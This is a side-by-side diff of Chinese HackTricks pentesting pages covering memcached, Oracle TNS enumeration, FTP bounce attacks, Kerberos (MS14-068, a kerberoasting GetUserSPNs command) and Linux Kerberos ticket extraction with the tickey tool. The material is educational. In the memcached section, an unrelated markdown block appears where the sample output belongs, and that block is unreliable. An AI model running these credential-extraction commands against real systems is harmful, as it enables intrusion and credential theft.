| lru\_crawler metadump | 转储缓存中所有项目的大部分元数据 | `lru_crawler metadump all` | | lru\_crawler metadump | 转储缓存中所有项目的大部分元数据 | `lru_crawler metadump all` |
| version | 打印服务器版本。 | `version` | | version | 打印服务器版本。 | `version` |
| verbosity | 增加日志级别 | `verbosity` | | verbosity | 增加日志级别 | `verbosity` |
| quit | 终止会话 | `quit` | | quit | 终止会话 | `quit` |
#### 流量统计 <a href="#traffic-statistics" id="traffic-statistics"></a> #### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
您可以使用以下命令查询当前流量统计信息 您可以使用命令查询当前流量统计信息
``` ```
stats stats
``` ```
您将获得一个列出连接数、收发字节数等内容的清单 您将获得一个列表,其中提供连接数、进出字节以及更多信息
示例输出: 示例输出
``` ```
STAT pid 14868 STAT pid 14868
STAT uptime 175931 STAT uptime 175931
@ -87,11 +89,33 @@ END
``` ```
#### 内存统计 <a href="#memory-statistics" id="memory-statistics"></a> #### 内存统计 <a href="#memory-statistics" id="memory-statistics"></a>
您可以使用以下命令查询当前内存统计信息 您可以使用查询当前内存统计信息
``` ```
stats slabs stats slabs
``` ```
示例输出: ```markdown
# Memcached Commands
## Basic Commands
- `set`:将数据存储在 Memcached 中。
- `get`:从 Memcached 中检索数据。
- `delete`:从 Memcached 中删除数据。
## Advanced Commands
- `incr`:增加存储在 Memcached 中的数值。
- `decr`:减少存储在 Memcached 中的数值。
- `flush_all`:清空 Memcached 中的所有数据。
## Usage
Memcached 是一个高性能的分布式内存对象缓存系统,常用于加速动态 Web 应用程序。
## Conclusion
了解 Memcached 的命令可以帮助您更有效地进行 pentesting。
```
``` ```
STAT 1:chunk_size 80 STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107 STAT 1:chunks_per_page 13107
@ -112,16 +136,15 @@ STAT active_slabs 3
STAT total_malloced 3145436 STAT total_malloced 3145436
END END
``` ```
如果您不确定您的memcached实例是否有足够的内存请始终关注“stats”命令给出的“evictions”计数器。如果实例有足够的内存“evictions”计数器应为0或者至少不应增加。 如果您不确定您的 memcached 实例是否有足够的内存请始终关注“stats”命令提供的“evictions”计数器。如果实例有足够的内存“evictions”计数器应该为 0 或至少不增加。
#### 使用了哪些键? <a href="#which-keys-are-used" id="which-keys-are-used"></a> #### 哪些键被使用 <a href="#which-keys-are-used" id="which-keys-are-used"></a>
没有内置函数可以直接确定当前的键集。但是您可以使用 没有内置函数可以直接确定当前的键集合。然而,您可以使用
``` ```
stats items stats items
``` ```
### Command: `stats items` 命令以确定存在多少个键。
To determine how many keys do exist, you can use the `stats items` command.
``` ```
stats items stats items
STAT items:1:number 220 STAT items:1:number 220
@ -131,22 +154,23 @@ STAT items:2:age 1405
[...] [...]
END END
``` ```
这至少有助于查看是否使用了任何键。要从已经执行memcache访问的PHP脚本中转储键名称可以使用来自[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)的PHP代码。 这至少有助于查看是否使用了任何键。要从已经进行memcache访问的PHP脚本中转储键名可以使用来自[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)的PHP代码。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,48 +1,49 @@
# 1521,1522-1529 - 渗透测试 Oracle TNS Listener # 1521,1522-1529 - Pentesting Oracle TNS Listener
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
Oracle 数据库Oracle DB来自 Oracle 公司的关系数据库管理系统RDBMS来自[这里](https://www.techopedia.com/definition/8711/oracle-database))。 Oracle 数据库Oracle DB甲骨文公司(来自 [这里](https://www.techopedia.com/definition/8711/oracle-database)的关系数据库管理系统RDBMS)。
在枚举 Oracle 时,第一步是与通常位于默认端口上的 TNS-Listener 进行通信1521/TCP-您也可能在 15221529 上获得辅助监听器- 在枚举 Oracle 时第一步是与通常位于默认端口1521/TCP-您也可能在 15221529 上获得次级监听器-)的 TNS-Listener 进行通信
``` ```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener 1748/tcp open oracle-tns Oracle TNS Listener
``` ```
## 摘要 ## 摘要
1. **版本枚举**识别版本信息以搜索已知漏洞。 1. **版本枚举**: 识别版本信息以搜索已知漏洞。
2. **TNS Listener暴力破解**有时需要建立通信。 2. **TNS 监听器暴力破解**: 有时需要建立通信。
3. **SID名称枚举/暴力破解**发现数据库名称SID 3. **SID 名称枚举/暴力破解**: 发现数据库名称 (SID)
4. **凭证暴力破解**:尝试访问已发现的SID。 4. **凭证暴力破解**: 尝试访问发现的 SID。
5. **代码执行**尝试在系统上运行代码。 5. **代码执行**: 尝试在系统上运行代码。
要使用MSF oracle模块您需要安装一些依赖项[**安装**](oracle-pentesting-requirements-installation.md) 为了使用 MSF oracle 模块,您需要安装一些依赖项: [**安装**](oracle-pentesting-requirements-installation.md)
## 帖子 ## 文章
查看这些帖子: 查看这些文章:
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/) * [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) * [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) * [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) * [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks自动命令 ## HackTricks 自动命令
``` ```
Protocol_Name: Oracle #Protocol Abbreviation if there is one. Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one. Port_Number: 1521 #Comma separated if there is more than one.
@ -70,16 +71,17 @@ Name: Nmap
Description: Nmap with Oracle Scripts Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP} Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# 简 # 简
如果您可以访问一个反弹FTP服务器您可以让它请求其他FTP服务器的文件您知道一些凭据并将该文件下载到您自己的服务器上 如果您可以访问一个跳跃 FTP 服务器,您可以让它请求其他 FTP 服务器的文件(您知道一些凭据的地方)并将该文件下载到您自己的服务器
## 要求 ## 要求
- 在FTP中间服务器中具有有效凭据 - 在 FTP 中间服务器上的有效 FTP 凭据
- 在受害者FTP服务器中具有有效凭据 - 在受害者 FTP 服务器上的有效 FTP 凭据
- 两个服务器接受PORT命令反弹FTP攻击) - 两个服务器都接受 PORT 命令(跳跃 FTP 攻击)
- 您可以在FTP中间服务器的某个目录中写入 - 您可以在 FRP 中间服务器的某个目录中写入
- 由于某种原因中间服务器将比您在受害者FTP服务器中具有更多访问权限这是您要利用的) - 中间服务器将比您有更多的访问权限进入受害者 FTP 服务器(这是您将要利用的)
## 步骤 ## 步骤
1. 连接到您自己的FTP服务器并使连接被动pasv命令以使其在受害者服务将发送文件的目录中监听 1. 连接到您自己的 FTP 服务器并使连接被动pasv 命令),以便在受害者服务将发送文件的目录中监听
2. 制作将发送到FTP中间服务器到受害者服务器的文件利用。此文件将是所需命令的明文用于对抗受害者服务器进行身份验证更改目录并将文件下载到您自己的服务器。 2. 制作将要发送到受害者服务器的 FTP 中间服务器的文件(利用)。该文件将是所需命令的明文,以便对受害者服务器进行身份验证、切换目录并将文件下载到您自己的服务器。
3. 连接到FTP中间服务器并上传先前的文件 3. 连接到 FTP 中间服务器并上传之前的文件
4. 使FTP中间服务器与受害者服务器建立连接并发送利用文件 4. 使 FTP 中间服务器与受害者服务器建立连接并发送利用文件
5. 在您自己的FTP服务器中捕获文件 5. 在您自己的 FTP 服务器上捕获文件
6. 从FTP中间服务器删除利用文件 6. 从 FTP 中间服务器删除利用文件
有关更详细信息,请查看文章[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) 有关更详细的信息,请查看帖子[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# 88tcp/udp - 渗透测试 Kerberos # 88tcp/udp - Pentesting Kerberos
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
支持 HackTricks 的其他方式: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 基本信息 ## Basic Information
**Kerberos** 的运作原理是在不直接管理用户对资源的访问权限的情况下对用户进行身份验证。这是一个重要的区别,因为它强调了该协议在安全框架中的作用。 **Kerberos** 的运作原则是通过不直接管理用户对资源的访问来进行身份验证。这是一个重要的区别,因为它强调了该协议在安全框架中的作用。
**Active Directory** 这样的环境中,**Kerberos** 在通过验证用户的秘密密码来建立用户身份方面起着关键作用。该过程确保在用户与网络资源交互之前,每个用户的身份都得到确认。然而,**Kerberos** 并不扩展其功能以评估或强制用户对特定资源或服务的权限。相反,它提供了一种安全的用户身份验证方式,这是安全过程中的关键第一步。 **Active Directory** 等环境中,**Kerberos** 在通过验证用户的秘密密码来建立用户身份方面发挥着重要作用。这个过程确保在用户与网络资源交互之前确认每个用户的身份。然而,**Kerberos** 并不扩展其功能来评估或强制执行用户对特定资源或服务的权限。相反,它提供了一种安全的用户身份验证方式,这是安全过程中的关键第一步。
**Kerberos** 进行身份验证后,关于资源访问权限的决策过程被委托给网络中的各个服务。然后,这些服务负责根据 **Kerberos** 提供的关于用户特权的信息评估经过身份验证的用户的权限和访问权限。这种设计允许在验证用户身份和管理其访问权限之间实现关注点的分离,从而在分布式网络中实现更灵活和安全的资源管理方法。 **Kerberos** 进行身份验证后,关于资源访问的决策过程被委托给网络中的各个服务。这些服务负责根据 **Kerberos** 提供的用户权限信息来评估经过身份验证的用户的权利和权限。这种设计允许在验证用户身份和管理其访问权限之间进行关注点分离,从而在分布式网络中实现更灵活和安全的资源管理方法。
**默认端口:** 88/tcp/udp **默认端口:** 88/tcp/udp
``` ```
PORT STATE SERVICE PORT STATE SERVICE
88/tcp open kerberos-sec 88/tcp open kerberos-sec
``` ```
### **要学习如何滥用Kerberos您应该阅读关** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** 的文章。** ### **要学习如何滥用 Kerberos您应该阅读关** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**的文章。**
## 更多 ## 更多
@ -37,13 +38,13 @@ PORT STATE SERVICE
### MS14-068 ### MS14-068
MS14-068漏洞允许攻击者篡改合法用户的Kerberos登录令牌以虚假地声称拥有提升的特权比如成为域管理员。域控制器错误地验证了这个伪造的声明从而使未经授权的访问跨越Active Directory林的网络资源成为可能。 MS14-068 漏洞允许攻击者篡改合法用户的 Kerberos 登录令牌,以虚假声称提升权限,例如成为域管理员。此虚假声明被域控制器错误地验证,从而使未经授权的访问 Active Directory 林中的网络资源成为可能。
{% embed url="https://adsecurity.org/?p=541" %} {% embed url="https://adsecurity.org/?p=541" %}
其他利用:[https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) 其他漏洞利用: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks自动命令 ## HackTricks 自动命令
``` ```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one. Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one. Port_Number: 88 #Comma separated if there is more than one.
@ -73,16 +74,17 @@ Name: With Creds
Description: Attempt to get a list of user service principal names Description: Attempt to get a list of user service principal names
Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,44 +1,14 @@
<details> ### 在Linux中的凭证存储
Linux系统将凭证存储在三种类型的缓存中即**文件**(在`/tmp`目录中)、**内核密钥环**Linux内核中的一个特殊段和**进程内存**(用于单进程使用)。`/etc/krb5.conf`中的**default\_ccache\_name**变量揭示了正在使用的存储类型,如果未指定,则默认为`FILE:/tmp/krb5cc_%{uid}`。
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> ### 提取凭证
2017年的论文[**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)概述了从密钥环和进程中提取凭证的方法强调了Linux内核的密钥环机制用于管理和存储密钥。
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
### Linux中的凭据存储
Linux系统将凭据存储在三种缓存中即**文件**(在`/tmp`目录中)、**内核密钥环**Linux内核中的特殊段和**进程内存**(用于单进程使用)。`/etc/krb5.conf`中的**default\_ccache\_name**变量显示正在使用的存储类型,默认为`FILE:/tmp/krb5cc_%{uid}`。
### 提取凭据
2017年的论文[**Kerberos凭据窃取GNU/Linux**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)概述了从密钥环和进程中提取凭据的方法强调了Linux内核的密钥环机制用于管理和存储密钥。
#### 密钥环提取概述 #### 密钥环提取概述
引入于内核版本2.6.10的**keyctl系统调用**允许用户空间应用程序与内核密钥环交互。密钥环中的凭据存储为组件默认主体和凭据与还包括头部的文件ccaches不同。论文中的**hercules.sh脚本**演示了提取和重建这些组件以生成可用于凭据窃取的文件ccache **keyctl系统调用**在内核版本2.6.10中引入允许用户空间应用程序与内核密钥环进行交互。密钥环中的凭证作为组件存储默认主体和凭证与文件ccache不同后者还包括一个头部。论文中的**hercules.sh脚本**演示了如何提取并重建这些组件为可用的文件ccache以进行凭证盗取。
#### 凭据提取工具Tickey #### 票证提取工具Tickey
基于**hercules.sh脚本**的原理,[**tickey**](https://github.com/TarlogicSecurity/tickey)工具专门用于从密钥环中提取票据,通过`/tmp/tickey -i`执行。 基于**hercules.sh脚本**的原理,[**tickey**](https://github.com/TarlogicSecurity/tickey)工具专门设计用于从密钥环中提取票证,通过`/tmp/tickey -i`执行。
## 参考资料 ## 参考文献
